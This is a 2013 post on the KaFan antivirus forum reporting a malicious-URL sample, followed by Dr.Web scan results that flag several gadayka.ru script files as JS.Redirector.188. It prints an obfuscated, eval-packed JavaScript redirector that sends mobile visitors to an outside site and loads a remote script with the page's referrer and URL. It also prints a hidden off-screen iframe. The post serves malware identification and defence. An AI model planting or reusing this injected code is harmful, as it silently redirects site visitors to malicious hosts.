查看: 1291|回复: 0
收起左侧

[已鉴定] http://urlquery.net/report.php?id=3279188

[复制链接]
fireold
发表于 2013-6-23 07:09:33 | 显示全部楼层 |阅读模式
  1. var _escape = '%3Cscript%3Eeval%28function%28p%2Ca%2Cc%2Ck%2Ce%2Cr%29%7Be%3Dfunction%28c%29%7Breturn%28c%3Ca%3F%27%27%3Ae%28parseInt%28c/a%29%29%29+%28%28c%3Dc%25a%29%3E35%3FString.fromCharCode%28c+29%29%3Ac.toString%2836%29%29%7D%3Bif%28%21%27%27.replace%28/%5E/%2CString%29%29%7Bwhile%28c--%29r%5Be%28c%29%5D%3Dk%5Bc%5D%7C%7Ce%28c%29%3Bk%3D%5Bfunction%28e%29%7Breturn%20r%5Be%5D%7D%5D%3Be%3Dfunction%28%29%7Breturn%27%5C%5Cw+%27%7D%3Bc%3D1%7D%3Bwhile%28c--%29if%28k%5Bc%5D%29p%3Dp.replace%28new%20RegExp%28%27%5C%5Cb%27+e%28c%29+%27%5C%5Cb%27%2C%27g%27%29%2Ck%5Bc%5D%29%3Breturn%20p%7D%28%277%201%3D8.9.a%28/%28b%29%7C%28e%29%7C%28f%29%7C%28h%29%7C%28j%29%7C%28k%29%7C%28l%29%7C%28m%29%7C%28n%29%7C%28o%29%7C%28p%29%7C%28q%29%7C%28r%29%7C%28s%29%7C%28u-%29%7C%28w%29%7C%28x%29%7C%28y%29%7C%28z%29%7C%28A%29%7C%28B%29%7C%28C%29%7C%28D%29%7C%28E%29%7C%28F%29%7C%28G%29%7C%280-c%29%7C%280-d%29%7C%280-g%29%7C%28H-%29%7C%28I%29%7C%28J%29%7C%282%29%7C%28K%29%7C%28L%29%7C%28M%29%7C%28N-%29%7C%28O%29%7C%28P%29%7C%28Q-%29%7C%28R%29%7C%28S%29%7C%28T%29%7C%28U%29%7C%28V%29%7C%28W%29%7C%28X%29%7C%28Y%29%7C%28Z%29%7C%2810%29%7C%2811%29%7C%2812%29%7C%2813%29%7C%2814%29%7C%2815%29%7C%2816%29%7C%2817%29%7C%2818-%29%7C%2819-%29%7C%281a%29%7C%281b%29%7C%281c-%29%7C%281d%29%7C%281e-%29%7C%281f%29%7C%281g%29%7C%281h%29%7C%281i%29%7C%281j-%29%7C%281k%29%7C%28t-1l%29%7C%281m%29%7C%281n-%29%7C%281o%29%7C%281p-%29%7C%281q%29%7C%281r%29%7C%281s-v%29%7C%281t%29%7C%281u%29%7C%283-%29%7C%281v%29%7C%281w%29%7C%281x%29%7C%281y%29%7C%281z%29%7C%284%29%7C%284%29%7C%285%29%7C%285-%29%7C%286.1A%29%7C%286.1B%29%7C%281C.1D%29%7C%281E%29%7C%281F%29%7C%281G%29%7C%281H%29%7C%282%29%7C%283%29%7C%281I%29%7C%281J%29%7C%281K%29%7C%281L%29%7C%281M%29%7C%281N%29%7C%281O%29%7C%281P.1Q%29%7C%281R%29%7C%281S%29/i%29%3B1T%281%29%7B1U.1V.1W%3D%221X%22%7D%27%2C62%2C122%2C%27lg%7Cismobile%7Cmidp%7Cwap%7Cwinw%7Cxda%7Cup%7Cvar%7Cnavigator%7CuserAgent%7Cmatch%7Cacs%7C%7C%7Calav%7Calca%7C%7Camoi%7C%7Caudi%7Caste%7Cavan%7Cbenq%7Cbird%7Cblac%7Cblaz%7Cbrew%7Ccell%7Ccldc%7C%7Ccmd%7C%7Cdang%7Cdoco%7Ceric%7Chipt%7Cinno%7Cipaq%7Cjava%7Cjigs%7Ckddi%7Ckeji%7Cleno%7Clge%7Cmaui%7Cmaxo%7Cmits%7Cmmef%7Cmobi%7Cmot%7Cmoto%7Cmwbp%7Cnec%7Cnewt%7Cnoki%7Copwv%7Cpalm%7Cpana%7Cpant%7Cpdxg%7Cphil%7Cplay%7Cpluc%7Cport%7Cprox%7Cqtek%7Cqwap%7Csage%7Csams%7Csany%7Csch%7Csec%7Csend%7Cseri%7Csgh%7Cshar%7Csie%7Csiem%7Csmal%7Csmar%7Csony%7Csph%7Csymb%7Cmo%7Cteli%7Ctim%7Ctosh%7Ctsm%7Cupg1%7Cupsi%7Cvk%7Cvoda%7Cw3cs%7Cwapa%7Cwapi%7Cwapp%7Cwapr%7Cwebc%7Cbrowser%7Clink%7Cwindows%7Cce%7Ciemobile%7Cmini%7Cmmp%7Csymbian%7Cphone%7Cpocket%7Cmobile%7Candroid%7Cpda%7CPPC%7CSeries60%7COpera%7CMini%7Cipad%7Ciphone%7Cif%7Cdocument%7Clocation%7Chref%7Chttp%3A//online2you.org/search.php%3Fsid%3D1%27.split%28%27%7C%27%29%2C0%2C%7B%7D%29%29%3B%3C/script%3E';
  2. var _1II = document.createElement('script');
  3. _1II.src = 'http://api.obfuscatorjavascript.com/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
  4. var IOl = document.getElementsByTagName('head')[0];
  5. IOl.appendChild(_1II);
  6. document.write(unescape(_escape));
复制代码

  1. <iframe style="position:fixed;top:0px;left:-550px;" src="http://biigoo.qhigh.com/036f32a8.0WhHi8TzVrtztN?default"
  2. height="110" width="110">
  3. </iframe>
复制代码



Dr.Web
Checking:http://www.gadayka.ru/modules/mod_news_show_gk3/scripts/engine_1_11_compressed.js
File size:6668 bytes
File MD5:e8c14d3635c6ee576d897c84e8bbf1aa

http://www.gadayka.ru/modules/mod_news_show_gk3/scripts/engine_1_11_compressed.js infected with JS.Redirector.188



Checking:http://www.gadayka.ru/components/com_jcomments/js/jcomments-v2.0.js
File size:30.45 KB
File MD5:2e593ef2f48089906c099fd13440a806

http://www.gadayka.ru/components/com_jcomments/js/jcomments-v2.0.js infected with JS.Redirector.188



Checking:http://counter.rambler.ru/top100.jcn?2131066
File size:6853 bytes
File MD5:48a6396b7df00ff0d4339ee93fa35768

http://counter.rambler.ru/top100.jcn?2131066 - Ok



Checking:http://counter.rambler.ru/top100.jcn?2417152
File size:6853 bytes
File MD5:0cfb613b3712910f78f577161a8f14c4

http://counter.rambler.ru/top100.jcn?2417152 - Ok



Checking:http://pagead2.googlesyndication.com/pagead/show_ads.js
File size:16.53 KB
File MD5:a79c5c53f34badcc39f1466da7852921

http://pagead2.googlesyndication.com/pagead/show_ads.js - archive JS-HTML
>http://pagead2.googlesyndication.com/pagead/show_ads.js/JSTag_1[4072][1a9] - Ok
http://pagead2.googlesyndication.com/pagead/show_ads.js - Ok



Checking:http://www.gadayka.ru/components/com_jcomments/libraries/joomlatune/ajax.js
File size:9087 bytes
File MD5:8ff083733913e51c16445e91a197bd4d

http://www.gadayka.ru/components/com_jcomments/libraries/joomlatune/ajax.js infected with JS.Redirector.188

Checking:http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]
Engine version:7.0.4.9250
Total virus-finding records:4147561
File size:51.03 KB
File MD5:53cd46b1fa1844068cee9fefede12274

http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[] - archive JS-HTML
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_1[7da0][ab] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_2[8f48][c4] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_3[9295][d1] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_4[93a9][44] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_5[9430][9c] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_6[9560][e6] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_7[9b0b][e6] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_8[a3b5][189] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_9[a6e5][1a3] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_10[aadf][81] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_11[abc5][e3] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_12[afaf][622] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_13[b195][43c] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_14[b746][ef] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_15[b89d][19d] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_16[baac][40] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_17[bb73][6a] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_18[bc56][122] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_19[bf7b][a4] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_20[c0d4][94] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_21[c1a7][b6] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_22[c68f][2a2] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTAG_23[c962][2a2] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_24[7da5][a6] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_25[a3ba][184] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_26[aa1a][3a] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_27[aa83][32] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_28[aae4][7c] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_29[ab8f][f] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_30[abca][de] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_31[b19a][437] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_32[b8a2][198] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_33[bab1][3b] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_34[bb1c][2c] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_35[bb78][65] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_36[bc0d] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_37[bc5b][11d] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_38[beac][20] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_39[bf80][9f] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_40[c066][2c] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_41[c0d9][8f] - Ok
>http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[]/JSTag_42[c1ac][b1] - Ok
http://www.gadayka.ru/alfavitnii-sonnik/29-sni-na-bukvu-o/758-videt-sebya-vo-sne-obnajennoi[] - Ok
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 10:09 , Processed in 0.125122 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表